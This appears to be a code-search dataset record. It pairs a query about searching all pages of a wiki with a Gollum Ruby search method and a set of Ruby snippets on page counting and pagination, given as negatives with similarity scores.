"def number_of_pages job\r\n count = 0\r\n pages = job.client_images_to_jobs.length\r\n if (@facility.image_type == 1) && (pages < 2)\r\n job.images_for_jobs.each do |image|\r\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\r\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\r\n end\r\n pages = count\r\n end\r\n pages\r\n end",
"def page_count\n @page_count ||= get_page_count\n end",
"def count\n @document.page_count\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/Parser/Images/#{image.filename}\").first\n count += %x[identify \"#{path}\"].split(image.filename).length-1 #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def calculate_pages\n pdftk_cmd = \"#{CONFIG[:pdftk]} #{@source} dump_data | grep NumberOfPages | grep -o -e \\\"\\\\([0-9]*\\\\)$\\\"\"\n @pages = %x[#{pdftk_cmd}].to_i\n end",
"def count_links\n @page_source.find_elements(:tag_name, 'a').count\n rescue element_not_found\n with_zero\n end",
"def extract_page_count(info)\n pages = info.split(/; /).select {|s| /.* pages/.match(s)}.first\n unless pages.nil?\n /([\\d]*) pages/.match(pages)[1]\n else\n nil\n end\n end",
"def number_of_json_pages(state) #this will return an integer representing number of pages, use this to refactor\n state_locations(state)[\"numberOfPages\"]\n end",
"def page_count\n @page_count = notices_count/30 + 1\n @page_count = max_pages if @page_count > max_pages\n @page_count\n end",
"def page_count\n @collection.max + 1\n end",
"def max_pages() Pages.keys.size end",
"def number_of_pages\n return @number_of_pages\n end",
"def branches_containing_commit(commit_ref); end",
"def number_of_commits\n GitHub::Errors.with_error_handling do\n result = @client.contributors_stats(full_name, retry_timeout: 2)\n return 0 unless result\n\n result.sum do |user|\n user[\"total\"]\n end\n end\n rescue GitHub::Error\n 0\n end",
"def branches_containing_commit(commit_ref); end",
"def num_pages\n (@limit / 10.0).ceil\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n image_path = @image_folder.detect{|image_string| image_string.downcase == \"#{@image_path}/#{image.image_file_name}\".downcase}\n count += %x[identify #{image_path}].split(image.image_file_name).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def revision_from_ref(repo_path, ref)\n begin\n show_ref(repo_path, ref)\n rescue GitError\n begin\n git('rev-parse', ref)\n ref\n rescue GitError\n raise InvalidGitRef, ref\n end\n end\n end",
"def num_pages\n (total_count.to_f / limit_value).ceil\n end",
"def num_pages\n (total_count.to_f / limit_value).ceil\n end",
"def last_page_num(cards)\n (cards.count / 8.to_f).ceil\n end",
"def page_item_count(page_index)\n return -1 if page_index < 0 || page_index >= self.page_count\n @pages[page_index].count\n end",
"def total_number_of_commit(repo_id)\n arr = contributors_list repo_id\n arr.first[:contributions]\n end",
"def item_count\n @pages.inject(0){|item_count, page| item_count + page.count}\n end",
"def _hashtag_reference_ranking(text, profile)\n hashtag_references = text.split(WORD_DELIMITER).find_all do |word|\n word.match(/^#/)\n end\n \n return 100 if hashtag_references.size == 0\n\n hashtag_references.inject(0) do |ranking, hashtag|\n ranking + (profile.hashtag_mentions.has_key?(hashtag) ? (100 / hashtag_references.size) : 0)\n end\n end",
"def pages_count\n @pages_count ||= (items_count / @per_page.to_f).ceil\n end",
"def page_count\n if collection.length < page_size\n 1\n else\n (collection.length / page_size) + 1\n end\n end",
"def num_pages\n groups = self.groups.includes(:descriptions)\n groups.map {|g| g.descriptions.length > 0 ? 1 : 0}.sum\n end"
] |
[
"0.74588555",
"0.68364817",
"0.67575",
"0.62551874",
"0.62490857",
"0.6194543",
"0.6130833",
"0.61197084",
"0.61080015",
"0.60766804",
"0.60709447",
"0.60506415",
"0.6016462",
"0.6011633",
"0.59875613",
"0.5942346",
"0.58846563",
"0.58688563",
"0.58671474",
"0.5849722",
"0.58404833",
"0.5829087",
"0.5747637",
"0.57424784",
"0.5732949",
"0.57018435",
"0.5684033",
"0.56603205",
"0.5656067",
"0.56271636",
"0.5608686",
"0.5590275",
"0.5587707",
"0.55826575",
"0.5574903",
"0.5549714",
"0.5542499",
"0.5526543",
"0.5522729",
"0.55107015",
"0.5506591",
"0.54883325",
"0.54883325",
"0.5470535",
"0.54669654",
"0.5461096",
"0.5458923",
"0.544354",
"0.5433995",
"0.5433464",
"0.5432931",
"0.541709",
"0.5410645",
"0.54082996",
"0.53825074",
"0.5375449",
"0.53680944",
"0.53641164",
"0.53494745",
"0.53468853",
"0.53468853",
"0.53468853",
"0.53468853",
"0.5342376",
"0.53378963",
"0.53378963",
"0.53290707",
"0.5327373",
"0.5326633",
"0.5325797",
"0.53250223",
"0.5322507",
"0.5319227",
"0.53161496",
"0.53138775",
"0.53120697",
"0.5310992",
"0.53093576",
"0.5298992",
"0.5296634",
"0.5295968",
"0.5290407",
"0.52885544",
"0.5286821",
"0.5277377",
"0.5277199",
"0.52769095",
"0.52695346",
"0.52625835",
"0.52594495",
"0.52507466",
"0.52507466",
"0.5249677",
"0.524773",
"0.5244408",
"0.52426785",
"0.5239036",
"0.5218903",
"0.5212969",
"0.5212934"
] |
0.76309574
|
0
|
Public: Search all pages for this wiki. query The string to search for Returns an Array with Objects of page name and count of matches
|
def search(query)
options = {:path => page_file_dir, :ref => ref}
search_terms = query.scan(/"([^"]+)"|(\S+)/).flatten.compact.map {|term| Regexp.escape(term)}
search_terms_regex = search_terms.join('|')
query = /^(.*(?:#{search_terms_regex}).*)$/i
results = @repo.git.grep(search_terms, options) do |name, data|
result = {:count => 0}
result[:name] = extract_page_file_dir(name)
result[:filename_count] = result[:name].scan(/#{search_terms_regex}/i).size
result[:context] = []
if data
begin
data.scan(query) do |match|
result[:context] << match.first
result[:count] += match.first.scan(/#{search_terms_regex}/i).size
end
rescue ArgumentError # https://github.com/gollum/gollum/issues/1491
next
end
end
((result[:count] + result[:filename_count]) == 0) ? nil : result
end
[results, search_terms]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:q].present?\n @results = Page.search(query: { fuzzy: { content: { value: params[:q] } } }, highlight: { fields: { content: {} } })\n @has_highlights = true\n else\n @results = Page.search('*')\n end\n @pages = @results.records\n end",
"def search(str)\n return [] if str.to_s.empty?\n \n words = str.downcase.split(' ')\n pattern = Regexp.new(words.join('|'))\n matches = []\n\n pages.each do |page|\n if page.title.downcase =~ pattern\n matches << [page, []]\n \n elsif page.body.downcase =~ pattern\n matches << [page, highlight(page.html, words)]\n end\n end\n\n matches\n end",
"def search_all_results(query)\n results = []\n\n page = 1\n\n loop do\n hits = search(query, page)\n\n results.concat(hits['results'])\n\n if hits['last_page'] == page || hits['last_page'] == 0\n break\n else\n page += 1\n end\n end\n\n results\n end",
"def search(query, get_page = 1)\n [get_page, get_page + 1]\n .map { |page| JSON.parse(Search.request(query, page))[\"results\"] }\n .flatten\n end",
"def search( query, page=nil )\n \n # Reset all of our stored variables\n @ordered_results = []\n @current_results = {}\n @grouped_terms = {}\n @current_results_total = 0\n @current_page = 1\n \n # Calculate the start page\n start_doc = 0\n if page and ( Integer(page) > 1 )\n start_doc = ( Integer(page) - 1 ) * @docs_per_page\n end\n \n data = index_request(\n {\n \"q\" => query,\n \"sort\" => @sort_results_by,\n \"start\" => start_doc,\n \"rows\" => @docs_per_page,\n \"hl\" => true,\n \"hl.fl\" => '*',\n \"hl.usePhraseHighlighter\" => true\n }\n )\n \n if start_doc === 0\n @current_page = 1\n else\n @current_page = ( start_doc / @docs_per_page ) + 1\n end\n \n @current_results_total = data[\"response\"][\"numFound\"]\n \n data[\"response\"][\"docs\"].each do |doc|\n @current_results[ doc[ @primary_field ] ] = {\n \"index\" => doc,\n \"search_explaination\" => data[\"highlighting\"][ doc[ @primary_field ] ]\n }\n @ordered_results.push( doc[ @primary_field ] )\n end\n \n # Process and cache these results ready for searching the marts\n @grouped_terms = grouped_query_terms( @current_results )\n \n return @current_results\n end",
"def search_on_filename\n needle = query.downcase.as_wiki_link\n all_pages.select { |name| name.downcase.include? needle }.map do |name|\n # unfreeze the String name by creating a \"new\" one\n SearchResult.new(name, 2 * @score, [0, name.tr('_', ' ')])\n end\n end",
"def list_doc\r\n @query = params[:query]\r\n @pages = []\r\n @docs = []\r\n if request.post? || @query\r\n case @query\r\n when /type:(\\w+)/\r\n case $1\r\n when /^unknown/i\r\n @docs = Document.find_unknown\r\n @pages = Paginator.new(self, @docs.length, PER_PAGE, params[:page])\r\n \r\n page = (params[:page] ||= 1).to_i\r\n offset = (page - 1) * PER_PAGE\r\n @docs = @docs[offset..(offset + PER_PAGE - 1)]\r\n end\r\n else\r\n @pages, @docs = paginate(\r\n :documents,\r\n :conditions => \"path LIKE '%#{@query}%'\",\r\n :per_page => PER_PAGE)\r\n end\r\n end\r\n end",
"def search(query)\n @main_page = @agent.get \"#{WebScraper::BASE_URL}/postings/search?query=#{query}&commit=Search\"\n results = @main_page.css WebScraper::JOB_POSTING_SELECTOR\n @jobs = []\n results.each { |result| @jobs.push(fill_job_fields(result)) }\n check_more_pages = jobs.length\n pages = WebScraper::STARTING_PAGE_NUMBER\n # look at other pages for 30+ results\n while check_more_pages == WebScraper::RESULTS_PER_PAGE\n pages += STARTING_PAGE_NUMBER\n check_more_pages -= WebScraper::RESULTS_PER_PAGE\n @next_page = @agent.get \"#{WebScraper::BASE_URL}/postings/search?query=#{query}&commit=Search&page=#{pages}\"\n results = @next_page.css WebScraper::JOB_POSTING_SELECTOR\n results.each { |result| @jobs.push(fill_job_fields(result)) }\n check_more_pages += results.length\n end\n end",
"def search(query)\n\t\t\t\t\t\tresult = []\n\t\t\t\t\t\tif !query.blank?\n\t\t\t\t\t\t\tself.available_selectors.each do |selector_ref, selector_def|\n\t\t\t\t\t\t\t\tselector_def[:search].call(query.to_s).each do |found_params|\n\t\t\t\t\t\t\t\t\tresult << {\n\t\t\t\t\t\t\t\t\t\tvalue: encode_value(selector_ref, found_params),\n\t\t\t\t\t\t\t\t\t\ttitle: selector_def[:title].call(found_params)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\treturn result\n\t\t\t\t\tend",
"def query\n { \"page\" => page,\n \"page_size\" => page_size,\n \"phrase\" => phrase }\n end",
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index[:longSearchIndex] << ''\n record.shift\n @index[:info] << record\n end\n end",
"def search(query)\n # See: http://github.com/Sirupsen/gollum/commit/f0a6f52bdaf6bee8253ca33bb3fceaeb27bfb87e\n search_output = @repo.git.grep({:c => query}, 'master')\n\n search_output.split(\"\\n\").collect do |line|\n result = line.split(':')\n file_name = Gollum::Page.canonicalize_filename(::File.basename(result[1]))\n\n {\n :count => result[2].to_i,\n :name => file_name\n }\n end\n end",
"def search(query_string, page = 1)\n oauth_response = access_token.get(\"/api/v1/search.json\", :search => query_string, :page => page)\n JSON.parse(oauth_response)\n end",
"def search(\n query, case_sensitive: false, whole_sentence: true, limit: 10, skip: 0\n )\n query = query.to_s.strip\n query.replace('\"' + query + '\"') if whole_sentence\n\n # Sort based on the most search hits (aka \"textScore\").\n # We use the sort_proj hash as both a sort and a projection below.\n sort_proj = { score: { :$meta => 'textScore' } }\n query = { :$text => {\n :$search => query,\n :$caseSensitive => case_sensitive\n } }\n\n results = retrieve(:documents, query,\n sort: sort_proj, projection: sort_proj,\n limit: limit, skip: skip)\n return [] if results.count < 1 # respond_to? :empty? == false\n\n # results.respond_to? :map! is false so we use map and overwrite the var.\n results = results.map { |mongo_doc| Wgit::Document.new(mongo_doc) }\n results.each { |doc| yield(doc) } if block_given?\n\n results\n end",
"def search(area, query, pages=3)\n logger.info \"Performing Amazon search in #{area}: #{query.inspect}\"\n result = []\n (1..pages).each do |page|\n begin\n items = AmazonSearch.new(area, query.merge(\"ItemPage\" => page)).items\n result += items.map { |item| store_or_lookup(item) }.compact\n rescue Exception => e\n logger.info \"An error occured while searchin on page #{page}: #{e}\"\n break\n end\n end\n result\n end",
"def perfect_match\n query = @query.downcase.as_wiki_link\n page = all_pages.detect { |name| name.downcase == query }\n SearchResult.new(page, 1) if page\n end",
"def search(query)\n return [] if query.nil?\n\n @atoms = @storage.fetch(cleanup_atoms(query), query[/\\^/])\n queries = parse_query(query.dup)\n positive = run_queries(queries[:positive])\n positive_quoted = run_quoted_queries(queries[:positive_quoted])\n negative = run_queries(queries[:negative])\n negative_quoted = run_quoted_queries(queries[:negative_quoted])\n starts_with = run_queries(queries[:starts_with], true)\n start_quoted = run_quoted_queries(queries[:start_quoted], true)\n\n results = ActiveSupport::OrderedHash.new\n\n if queries[:start_quoted].any?\n results = merge_query_results(results, start_quoted)\n end\n\n if queries[:starts_with].any?\n results = merge_query_results(results, starts_with)\n end\n\n if queries[:positive_quoted].any?\n results = merge_query_results(results, positive_quoted)\n end\n\n if queries[:positive].any?\n results = merge_query_results(results, positive)\n end\n\n negative_results = (negative.keys + negative_quoted.keys)\n results.delete_if { |r_id, w| negative_results.include?(r_id) }\n results\n end",
"def search(query); end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end",
"def index\n @page = (params[:page] || 0).to_i\n @keywords = params[:keywords]\n @year = params[:year]\n search = Search.new(@page, PAGE_SIZE, @keywords, @year)\n @books, @number_of_pages = search.books_by_name_year\n end",
"def search_all\n params[:search] ||= {}\n params[:search][:state_eq] = 'published'\n @documents = Document.search(params[:search]).paginate :page => params[:page], :per_page => Settings.documents.per_page\n render :template => '/pages/search'\n end",
"def search_text(\n query, case_sensitive: false, whole_sentence: true,\n limit: 10, skip: 0, sentence_limit: 80, top_result_only: false\n )\n results = search(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n limit: limit,\n skip: skip\n )\n\n results\n .map do |doc|\n yield(doc) if block_given?\n\n results = doc.search(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n sentence_limit: sentence_limit\n )\n\n # Only return result if its text has a match - compact is called below.\n next nil if results.empty?\n\n [doc.url, (top_result_only ? results.first : results)]\n end\n .compact\n .to_h\n end",
"def search(query)\n return [] if query.nil?\n\n @atoms = @storage.fetch(cleanup_query_tokens(query), query[/\\^/])\n queries = parse_query(query.dup)\n positive = run_queries(queries[:positive])\n positive_quoted = run_quoted_queries(queries[:positive_quoted])\n negative = run_queries(queries[:negative])\n negative_quoted = run_quoted_queries(queries[:negative_quoted])\n starts_with = run_queries(queries[:starts_with], true)\n start_quoted = run_quoted_queries(queries[:start_quoted], true)\n\n results = {}\n\n if queries[:start_quoted].any?\n results = merge_query_results(results, start_quoted)\n end\n\n if queries[:starts_with].any?\n results = merge_query_results(results, starts_with)\n end\n\n if queries[:positive_quoted].any?\n results = merge_query_results(results, positive_quoted)\n end\n\n if queries[:positive].any?\n results = merge_query_results(results, positive)\n end\n\n negative_results = (negative.keys + negative_quoted.keys)\n results.delete_if { |r_id, w| negative_results.include?(r_id) }\n results\n end",
"def search!(\n query, case_sensitive: false, whole_sentence: true,\n limit: 10, skip: 0, sentence_limit: 80\n )\n results = search(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n limit: limit,\n skip: skip\n )\n\n results.each do |doc|\n doc.search!(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n sentence_limit: sentence_limit\n )\n yield(doc) if block_given?\n end\n\n results\n end",
"def search(query, limit: 'max', &processor)\n list(@api.query.generator(:search).search(query), limit, &processor)\n end",
"def all\n\t\tquery = (params[:term] || params[:query])\n\t\t\n @search_results = PgSearch\n\t\t\t.multisearch(query)\n\t\t\t.page(params[:page])\n\t\t\n\t\trender 'multi_search'\n\tend",
"def search(dbpath, querystring, offset: 0, pagesize: 10)\n # offset - defines starting point within result set\n # pagesize - defines number of records to retrieve\n\n # Open the database we're going to search.\n db = Xapian::Database.new(dbpath)\n\n # Set up a QueryParser with a stemmer and suitable prefixes\n queryparser = Xapian::QueryParser.new\n queryparser.stemmer = Xapian::Stem.new('en')\n queryparser.stemming_strategy = Xapian::QueryParser::STEM_SOME\n queryparser.add_prefix('title', 'S')\n queryparser.add_prefix('description', 'XD')\n # and add in range processors\n queryparser.add_rangeprocessor(PopulationRangeProcessor.new(3, 500_000, 50_000_000))\n # Start of date example code\n queryparser.add_rangeprocessor(Xapian::DateRangeProcessor.new(2, Xapian::RP_DATE_PREFER_MDY, 1860))\n queryparser.add_rangeprocessor(Xapian::NumberRangeProcessor.new(1))\n # End of date example code\n # And parse the query\n query = queryparser.parse_query(querystring)\n\n # Use an Enquire object on the database to run the query\n enquire = Xapian::Enquire.new(db)\n enquire.query = query\n\n # And print out something about each match\n matches = []\n enquire.mset(offset, pagesize).matches.each do |match|\n fields = JSON.parse(match.document.data)\n printf \"%<rank>i: #%<docid>3.3i %<name>s %<date>s\\n Population %<pop>s\\n\",\n rank: match.rank + 1,\n docid: match.docid,\n name: fields['name'],\n date: format_date(fields['admitted'].to_s),\n pop: format_numeral(fields['population'].to_i)\n matches << match.docid\n end\n log_matches(querystring, offset, pagesize, matches)\nend",
"def quick_search( query, page=nil )\n # Calculate the start page\n start_doc = 0\n if page and ( Integer(page) > 1 )\n start_doc = ( Integer(page) - 1 ) * @docs_per_page\n end\n \n data = index_request(\n {\n \"q\" => query,\n \"sort\" => @sort_results_by,\n \"start\" => start_doc,\n \"rows\" => @docs_per_page\n }\n )\n return data[\"response\"][\"docs\"]\n end",
"def search_words(query)\n query = query.downcase\n\n if query.contains_japanese?\n words = search_words_by_literals(query, 50)\n\n else\n words = search_words_by_senses(query, 50)\n\n if words.size <= 10\n extra_words = []\n\n extra_words += search_words_by_literals(query.hiragana, 20)\n extra_words += search_words_by_literals(query.katakana, 20)\n extra_words.sort! { |w1, w2| w1.score <=> w2.score }\n\n words += extra_words\n end\n end\n\n words\n end",
"def search(query, opts = {})\r\n page = opts[:page] || 1\r\n uri = url_for('search', opts)\r\n response = RestClient.get(uri, params: { q: query, page: page })\r\n JSON.parse response\r\n end",
"def search(query, pagination_options = {})\n validate_search_query!(query)\n page = pagination_options[:page]\n validate_search_pagination!(page)\n qs = pagination_query_string(page: page)\n url = qs.length > 0 ? \"search/#{endpoint}?#{qs}&query=#{query.to_query}\" : \"search/#{endpoint}?query=#{query.to_query}\"\n @http.get(url)\n end",
"def chapters_matching(query)\n results = []\n\n return results unless query\n\n each_chapter do |number, name, chp_contents|\n results << {number: number, name: name} if chp_contents.include?(query)\n end\n\n results # returns an array of hashes\nend",
"def search_words\n begin\n regex = Regexp.new(@pattern)\n rescue RegexpError => msg\n error_msg(msg)\n rescue NameError => msg\n error_msg(msg)\n end\n @results = DICT.select do |word|\n regex =~ word\n end\n @num_results = @results.length\n format_results\n display_results\n end",
"def chapters_matching(query)\n result = []\n\n each_chapter do |name, number, text|\n if text.downcase.include?(query.downcase)\n matches = {}\n text.each_line('').with_index do |paragraph, paragraph_number|\n matches[:paragraph_number] = paragraph if paragraph.downcase.include?(query.downcase)\n end\n result << {name: name, number: number, paragraphs: matches}\n end\n end\n result\n end",
"def query(collection, q)\n case q\n when String:\n collection.pages.values.find_all do |page|\n page.include? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n when Array:\n collection.pages.values.find_all do |page|\n page.includes_any? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n end\nend",
"def static_search(url, query)\n response = Faraday::Connection.new.get(url) do |request|\n request.headers = {\n user_agent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.141 Safari/537.36\" }\n request.options.timeout = 5\n end\n\n status = response.status.to_i\n return nil unless status < 300\n\n formatted_content = ActionController::Base.helpers.strip_tags(response.body)\n formatted_content = formatted_content.squish.strip\n\n return formatted_content.scan(/.{#{InRailsWeBlog.settings.scrap_fragment_size}}\\b#{query}\\b.{#{InRailsWeBlog.settings.scrap_fragment_size}}/i)\n rescue StandardError\n return nil\n end",
"def search\n @results = Extension.search(\n params.fetch(:q, nil)\n ).offset(@start).limit(@items)\n\n @total = @results.count(:all)\n end",
"def search\n unless params[:q].blank?\n ensure_homepage\n term = \"*#{params[:q].split.join('* OR *')}*\"\n @pages=Page.paginate_search(term,:page=>params[:page])\n else\n flash[:notice]='Please Specify a Search Term'\n end\n @search=true\n render :action=>'index'\n end",
"def count_all_html_pages(dir)\n perform_global_search('//html', [], dir)\n end",
"def search(query='*', opts={})\n\n defaults = {\n :search_category => 'all',\n :load_search_page => true\n }\n \n opts = defaults.merge(opts)\n\n if (opts[:load_search_page])\n @request.add('/var/widgets.json?callback=define')\n @request.add('/system/me?_charset_=utf-8')\n @request.add('/var/templates/worlds.2.json?_charset_=utf-8')\n end\n \n case opts[:search_category]\n when 'all'\n @request.add(\"/var/search/general.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558141063\",\n {}, { 'subst' => 'true' })\n when 'content'\n @request.add(\"/var/search/pool/all.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558155346\",\n {}, { 'subst' => 'true' })\n when 'people'\n @request.add(\"/var/search/users.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558158607\",\n {}, { 'subst' => 'true' })\n when 'groups'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=group&page=0&items=18&_charset_=utf-8&_=1342558161747\",\n {}, { 'subst' => 'true' })\n when 'courses'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=course&page=0&items=18&_charset_=utf-8&_=1342558164687\",\n {}, { 'subst' => 'true' })\n when 'research_projects'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=research&page=0&items=18&_charset_=utf-8&_=1342558167607\",\n {}, { 'subst' => 'true' })\n end\n \n if (opts[:load_search_page])\n @request.add('/system/batch?_charset_=utf-8&requests=%5B%7B%22url%22%3A%22%2Fdevwidgets%2Fdisplayprofilesection%2Fdisplayprofilesection.html%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%2C%7B%22url%22%3A%22%2Fdevwidgets%2Fdisplayprofilesection%2Fbundles%2Fdefault.properties%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%5D&_=1324426870134')\n @request.add('/system/batch?_charset_=utf-8&requests=%5B%7B%22url%22%3A%22%2Fdevwidgets%2Fprofilesection%2Fprofilesection.html%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%2C%7B%22url%22%3A%22%2Fdevwidgets%2Fprofilesection%2Fbundles%2Fdefault.properties%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%5D&_=1324426870481')\n end\n \n end",
"def search(query)\n # need to handle invalid data\n q = query.blank? ? DEFAULT_SEARCH_QUERY : query\n @client.search(q, lang: 'en', result_type: 'recent').take(20)\n end",
"def chapters_matching(query)\n results = []\n\n return results if !query || query.empty?\n\n each_chapter(query) do |number, name, contents, paragraph|\n results << {number: number, name: name, paragraph: paragraph} if contents.include?(query)\n end\n\n results\nend",
"def search(query, options = {})\n opts = { type: '', limit: 20, offset: 0 }.merge(options)\n query = URI.escape(query)\n type = URI.escape(opts[:type])\n limit = Integer(opts[:limit])\n offset = Integer(opts[:offset])\n\n response = request(:get, \"/search?q=#{query}&type=#{type}&limit=#{limit}&next=#{offset}\")\n unless response.status == 200\n raise Gini::Api::SearchError.new(\n \"Search query failed with code #{response.status}\",\n response\n )\n end\n Gini::Api::DocumentSet.new(self, response.parsed)\n end",
"def get_matching_for_pages(pattern:, pages:)\n pages.map {|page|\n uids = get_matching_for_page(pattern: pattern, page: page)\n uids.any? ?\n [ page['title'], uids ] :\n nil\n }.compact\nend",
"def search(query, opts={})\n clear_cookies\n find_url = BASE_URL + '/find?q=%s' % CGI.escape(query)\n results = @cache.get(find_url)\n if not results or not @use_cache\n page = @agent.get(find_url)\n results = page.search('.findResult .result_text a').map do |result|\n url = result.attributes['href'].value.gsub(/\\/\\?.*?$/, '')\n title = result.text\n if url.match RE_ID\n { :id => $1,\n :type => $2,\n :url => url,\n :title => title }\n end\n end\n @cache.put(find_url, results)\n end\n\n # should never happen, but remove broken results\n results.reject! do |result|\n result == nil\n end\n\n if opts[:limit]\n results = results.first opts[:limit]\n end\n if opts[:exact]\n results.reject! do |result|\n query.upcase != result[:title].upcase\n end\n end\n if opts[:type]\n results.reject! do |result|\n result[:type] != opts[:type]\n end\n end\n\n results\n end",
"def search(q)\n results = []\n url = \"https://#{@subdomain}.sharefile.com/rest/search.aspx?op=search&query=#{q}&authid=#{@authid}&fmt=json\"\n response = JSON.parse(open(url).read)\n if response[\"error\"] == false #success\n response[\"value\"].each do |item|\n if item[\"type\"] == \"folder\"\n results << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n results << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n return results\n else #error\n return response\n end\n end",
"def chapters_matching(query)\n results = []\n\n return results if !query || query.empty?\n\n each_chapter do |number, name, contents|\n results << {number: number, name: name} if contents.include?(query)\n end\n\n results\nend",
"def find(phrase, limit=15, snippet=false, display=true)\n search = phrase.split.join(\"_\")\n if snippet\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&srsearch=#{search}&srlimit=#{limit}\"\n else\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&srsearch=#{search}&srlimit=#{limit}&srprop\"\n end\n hash = get(endpoint)\n info = hash[\"query\"][\"searchinfo\"]\n results = hash[\"query\"][\"search\"]\n if display\n puts \"Total hits : #{ info[\"totalhits\"] }\"\n if info[\"suggestion\"]\n puts \"Suggestion : #{ info[\"suggestion\"] }\"\n end\n puts \"Displaying #{results.length} results:\"\n results.each do |result|\n # https://stackoverflow.com/a/1732454\n if snippet\n snip = result[\"snippet\"].gsub( /<.*?>/, \"\" ).gsub( /&\\w+;/, \"\" ).split.join(\" \")\n puts \"\\n'#{result[\"title\"]}' : #{snip}...\"\n else\n puts \"\\n'#{result[\"title\"]}'\"\n end\n end\n end\n return hash\n end",
"def search(project: nil, text: nil, kind: 'subject', tags: { }, page: 1, results: [])\n raise 'no project specified' unless project\n tag_query = tags.each_pair.collect{ |k, v| \"tags[#{ k }]=#{ v }\" }.join '&'\n uri = URI.parse \"https://api.zooniverse.org/projects/#{ project }/talk/search?text=#{ text }&kind=#{ kind }&#{ tag_query }&per_page=20&page=#{ page }\"\n req = Net::HTTP::Get.new uri.to_s\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n res = http.request req\n json = JSON.parse res.body\n \n pages = (json['total'] / json['per_page'].to_f).ceil\n \n # More than 1,000 results\n if page == 1 && pages > 50\n puts \"\\n\\nThis query has #{ json['total'] } results.\"\n puts \"It could take a long time and degrade server performance.\"\n puts \"Are you really sure you want to run this query? (y/n)\"\n return unless gets.chomp =~ /y/i\n end\n \n if json['page'] < pages\n puts \"#{ json['page'] } / #{ pages }\"\n search project: project, text: text, kind: kind, tags: tags, page: page + 1, results: results + json['results']\n else\n results + json['results']\n end\nend",
"def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end",
"def search(*args)\n options = args.extract_options!\n query = args[0].to_s\n\n options.reverse_merge!({\n :classes => [NewsStory, ShowSegment, BlogEntry, ContentShell],\n :page => 1,\n :order => \"public_datetime #{DESCENDING}\",\n :retry_stale => true,\n :populate => true\n })\n\n # We'll want to search only among live content 99% of the\n # time. For the times when we want unpublished stuff,\n # we can pass in `with: { is_live: [true, false] }`, for\n # example.\n options[:with] ||= {}\n options[:with].reverse_merge!(is_live: true)\n\n begin\n ThinkingSphinx.search(Riddle::Query.escape(query), options)\n rescue Riddle::ConnectionError,\n Riddle::ResponseError,\n ThinkingSphinx::SphinxError => e\n # In this one scenario, we need to fail gracefully from a Sphinx error,\n # because otherwise the entire website will be down if media isn't\n # available, or if we need to stop the searchd daemon for some reason,\n # like a rebuild.\n warn \"Caught error in ContentBase.search: #{e}\"\n Kaminari.paginate_array([]).page(0).per(0)\n end\n end",
